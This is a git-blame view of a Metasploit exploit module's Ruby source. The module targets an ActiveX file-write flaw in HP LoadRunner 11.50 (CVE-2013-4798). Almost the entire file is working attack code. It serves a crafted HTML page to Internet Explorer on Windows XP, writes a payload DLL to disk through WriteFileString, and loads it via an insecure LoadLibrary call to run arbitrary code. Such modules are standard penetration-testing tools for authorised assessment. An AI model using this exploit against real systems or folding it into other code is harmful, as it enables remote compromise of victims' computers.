Files
metasploit-gs/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

148 lines
4.6 KiB
Ruby
Raw Normal View History

2013-08-29 14:09:45 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-08-29 14:09:45 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-29 14:09:45 -05:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
2013-08-29 14:09:45 -05:00
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "8.0",
# :javascript => true,
2014-05-28 14:35:22 -05:00
# :os_name => OperatingSystems::Match::WINDOWS_XP,
# :rank => NormalRanking,
# :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
# :method => "WriteFileString "
#})
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
which allow the user to write arbitrary files. It's abused to drop a payload
embedded in a dll, which is later loaded through the Init() method from the
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
been tested successfully on IE8 on Windows XP. Virtualization based on the Low
2013-08-29 14:42:59 -05:00
Integrity Process, on Windows Vista and 7, will stop this module because the DLL
will be dropped to a virtualized folder, which isn't used by LoadLibrary.
2013-08-29 14:09:45 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-4798' ],
[ 'OSVDB', '95642' ],
2013-08-29 14:09:45 -05:00
[ 'BID', '61443'],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '13-207' ],
2013-08-29 14:09:45 -05:00
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic IE on Windows XP', {} ]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-07-24',
2013-08-29 14:09:45 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
])
2013-08-30 16:28:54 -05:00
self.needs_cleanup = true
2013-08-29 14:09:45 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
# Just reminding the user to delete LrWeb2MdrvLoader.dll
# because migration and killing the exploited process is
# needed
def on_new_session(session)
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
def is_target?(agent)
if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/
return true
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
return false
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
def create_dll_js(object_id, dll_data)
dll_js = ""
first = true
dll_data.each_char { |chunk|
if first
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"
first = false
else
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"
end
}
return dll_js
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
def load_exploit_html(cli)
return nil if ((p = regenerate_payload(cli)) == nil)
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
file_io = rand_text_alpha(rand(10) + 8)
mdrv_service = rand_text_alpha(rand(10) + 8)
dll_data = generate_payload_dll({ :code => p.encoded })
drop_dll_js = create_dll_js(file_io, dll_data)
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
html = %Q|
<html>
<body>
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>
<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>
<script language='javascript'>
#{drop_dll_js}
#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");
</script>
</body>
</html>
|
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
return html
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
# Avoid the attack if no suitable target found
if not is_target?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
2013-08-30 16:28:54 -05:00
2013-08-29 14:09:45 -05:00
html = load_exploit_html(cli)
if html.nil?
send_not_found(cli)
return
end
html = html.gsub(/^ {4}/, '')
2013-08-29 14:09:45 -05:00
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
2014-06-17 21:03:18 +02:00
end